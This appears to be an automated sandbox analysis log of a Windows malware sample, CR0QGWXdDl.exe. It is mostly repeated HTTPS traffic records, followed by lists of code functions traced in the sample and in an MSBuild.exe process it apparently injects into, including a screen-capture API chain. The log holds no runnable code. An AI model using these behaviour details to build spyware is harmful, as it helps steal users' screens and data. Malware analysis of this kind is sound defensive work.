Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919

Source: unknown

HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49743 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_00419010 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

4_2_00419010

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBEED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	4_2_6CBEED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC2B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	4_2_6CC2B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC2B8C0 rand_s,NtQueryVirtualMemory,	4_2_6CC2B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC2B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	4_2_6CC2B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBCF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	4_2_6CBCF280

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_00721FE0	0_2_00721FE0
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_0073D0ED	0_2_0073D0ED
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_0073547C	0_2_0073547C
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_0072C842	0_2_0072C842
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_0073B888	0_2_0073B888
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_007339E2	0_2_007339E2
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_0072FC40	0_2_0072FC40
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_00721D65	0_2_00721D65
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_00726FEC	0_2_00726FEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBC35A0	4_2_6CBC35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC06CF0	4_2_6CC06CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBD6C80	4_2_6CBD6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBCD4E0	4_2_6CBCD4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC234A0	4_2_6CC234A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC2C4A0	4_2_6CC2C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBED4D0	4_2_6CBED4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBD64C0	4_2_6CBD64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC3545C	4_2_6CC3545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC3AC00	4_2_6CC3AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC05C10	4_2_6CC05C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC12C10	4_2_6CC12C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC3542B	4_2_6CC3542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBD5440	4_2_6CBD5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC00DD0	4_2_6CC00DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC285F0	4_2_6CC285F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBF0512	4_2_6CBF0512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBEED10	4_2_6CBEED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBDFD00	4_2_6CBDFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC376E3	4_2_6CC376E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBE5E90	4_2_6CBE5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC2E680	4_2_6CC2E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBCBEF0	4_2_6CBCBEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBDFEF0	4_2_6CBDFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC24EA0	4_2_6CC24EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC12E4E	4_2_6CC12E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC03E50	4_2_6CC03E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC36E63	4_2_6CC36E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC15600	4_2_6CC15600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBCC670	4_2_6CBCC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC07E10	4_2_6CC07E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBE9E50	4_2_6CBE9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC29E30	4_2_6CC29E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBE4640	4_2_6CBE4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBF6FF0	4_2_6CBF6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBCDFE0	4_2_6CBCDFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC177A0	4_2_6CC177A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBD9F00	4_2_6CBD9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC07710	4_2_6CC07710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC350C7	4_2_6CC350C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBF60A0	4_2_6CBF60A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC058E0	4_2_6CC058E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBEC0E0	4_2_6CBEC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBD7810	4_2_6CBD7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC0F070	4_2_6CC0F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC0B820	4_2_6CC0B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC14820	4_2_6CC14820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBE8850	4_2_6CBE8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBED850	4_2_6CBED850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBFD9B0	4_2_6CBFD9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBCC9A0	4_2_6CBCC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC05190	4_2_6CC05190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC22990	4_2_6CC22990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC1B970	4_2_6CC1B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC3B170	4_2_6CC3B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBDD960	4_2_6CBDD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBEA940	4_2_6CBEA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC08AC0	4_2_6CC08AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBDCAB0	4_2_6CBDCAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBC22A0	4_2_6CBC22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBF4AA0	4_2_6CBF4AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC0E2F0	4_2_6CC0E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBE1AF0	4_2_6CBE1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC3BA90	4_2_6CC3BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC32AB0	4_2_6CC32AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC09A60	4_2_6CC09A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC353C8	4_2_6CC353C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBCF380	4_2_6CBCF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBDC370	4_2_6CBDC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC0D320	4_2_6CC0D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBC5340	4_2_6CBC5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC6ECC0	4_2_6CC6ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CCCECD0	4_2_6CCCECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC7AC60	4_2_6CC7AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CD36C00	4_2_6CD36C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CD4AC30	4_2_6CD4AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CDFCDC0	4_2_6CDFCDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CD06D90	4_2_6CD06D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CC74DB0	4_2_6CC74DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CD9AD50	4_2_6CD9AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CD3ED70	4_2_6CD3ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CDF8D20	4_2_6CDF8D20
